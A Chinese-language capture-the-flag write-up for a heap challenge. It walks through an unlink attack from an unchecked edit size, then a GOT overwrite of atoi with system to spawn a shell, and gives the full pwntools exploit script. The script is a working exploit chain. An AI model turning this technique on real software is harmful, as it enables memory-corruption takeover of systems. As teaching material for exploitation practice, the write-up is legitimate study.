unlink的题做的真的少,得好好补一下,这题本不应该花太多时间的,在一个误区走入了歧途。
check:
这题靶机是ubuntu16,libc应该是2.24的。漏洞点在change函数里面,输入的size没有check,造成溢出漏洞,另外这题还给了catflag函数。初步思路就是用unlink写__free(malloc)_hook,去调用magic函数。
后面在泄露libc的过程中发现,根本不用泄露,又没开PIE,每次写入字符后都会在末尾加 0x00,溢出泄露不出来。
就按固定地址来打,itemlist:0x6020c0
步骤:
一、创建三个chunk
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
add(0x10,'cccc')#2
edit(0,0x500,(p64(0)+p64(0x80)+p64(itemlist-0x10)+p64(itemlist-0x8)).ljust(0x80,b'\x00')+p64(0x80)+p64(0x90))
从chunk0溢出将 fd、bk 位置分别写为 chunk0_ptr + 0x18、chunk_ptr + 0x10,再溢出到chunk1,写入 prev_size 为 0x80,size 为 0x90。伪造 chunk0 处于 free 状态。
二、free 掉 chunk1 导致其与 chunk0 合并,触发 unlink 导致 chunk0_ptr 被改成了上面所写的 chunk0_ptr + 0x18。这里还要提一下的是 fd(bk) 指向上(下)一个 free chunk 的 prev_size 位置。
FD_bk -> chunk0_prev_size
BK_fd -> chunk0_prev_size
三、将 chunk0_ptr 改为 atoi 的 got,至于为什么用 atoi 呢,是因为题目里存在 atoi(&buf) 的调用,可以将 atoi 改为 system 然后传 '/bin/sh' 的参数。
edit(0,0x500,p64(0)*3+p64(atoi))
四、到这里要插一下,因为要泄露 libc 才能拿到 system 的地址,所以要先输出一下 atoi 的 got。
show()
atoi=uu64()
lg('atoi',atoi)
libc_base=atoi-libc.symbols['atoi']
system=libc_base+libc.symbols['system']
lg('system',system)
五、将 system 地址写入 atoi 的 got 地址。
edit(0,0x500,p64(system))
exp
#coding:utf-8
from pwn import *
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
test = 1
if test == 1 :
p = process('./pwn')
else:
p = remote('node4.buuoj.cn',26458)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level ='debug'
def add(size,name):
sla('Your choice:',str(2))
sla('length of item name:',str(size))
sa('name of item',name)
def free(idx):
sla('Your choice:',str(4))
sla('index of item:',str(idx))
def edit(idx,size,name):
sla('Your choice:',str(3))
sla('index of item:',str(idx))
sla('length of item name:',str(size))
sa('name of the item',name)
def show():
sla('Your choice:',str(1))
itemlist=0x6020c0
catflag=0x400D49
free_got=elf.got['free']
atoi=elf.got['atoi']
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
add(0x10,'cccc')#2
edit(0,0x500,(p64(0)+p64(0x80)+p64(itemlist-0x10)+p64(itemlist-0x8)).ljust(0x80,b'\x00')+p64(0x80)+p64(0x90))
free(1)
edit(0,0x500,p64(0)*3+p64(atoi))
show()
atoi=uu64()
lg('atoi',atoi)
libc_base=atoi-libc.symbols['atoi']
system=libc_base+libc.symbols['system']
lg('system',system)
edit(0,0x500,p64(system))
sla('Your choice:',b'/bin/sh\x00')
p.interactive()
好下面谈我哪里误入歧途:
题目给的那个getflag函数根本用不成,后来用打进去发现flag根本就不在那个路径下,题目也没说,仅有利用 atoi 时给我的回显是这样的,其它尝试均以未知异常退出,坑了我好久。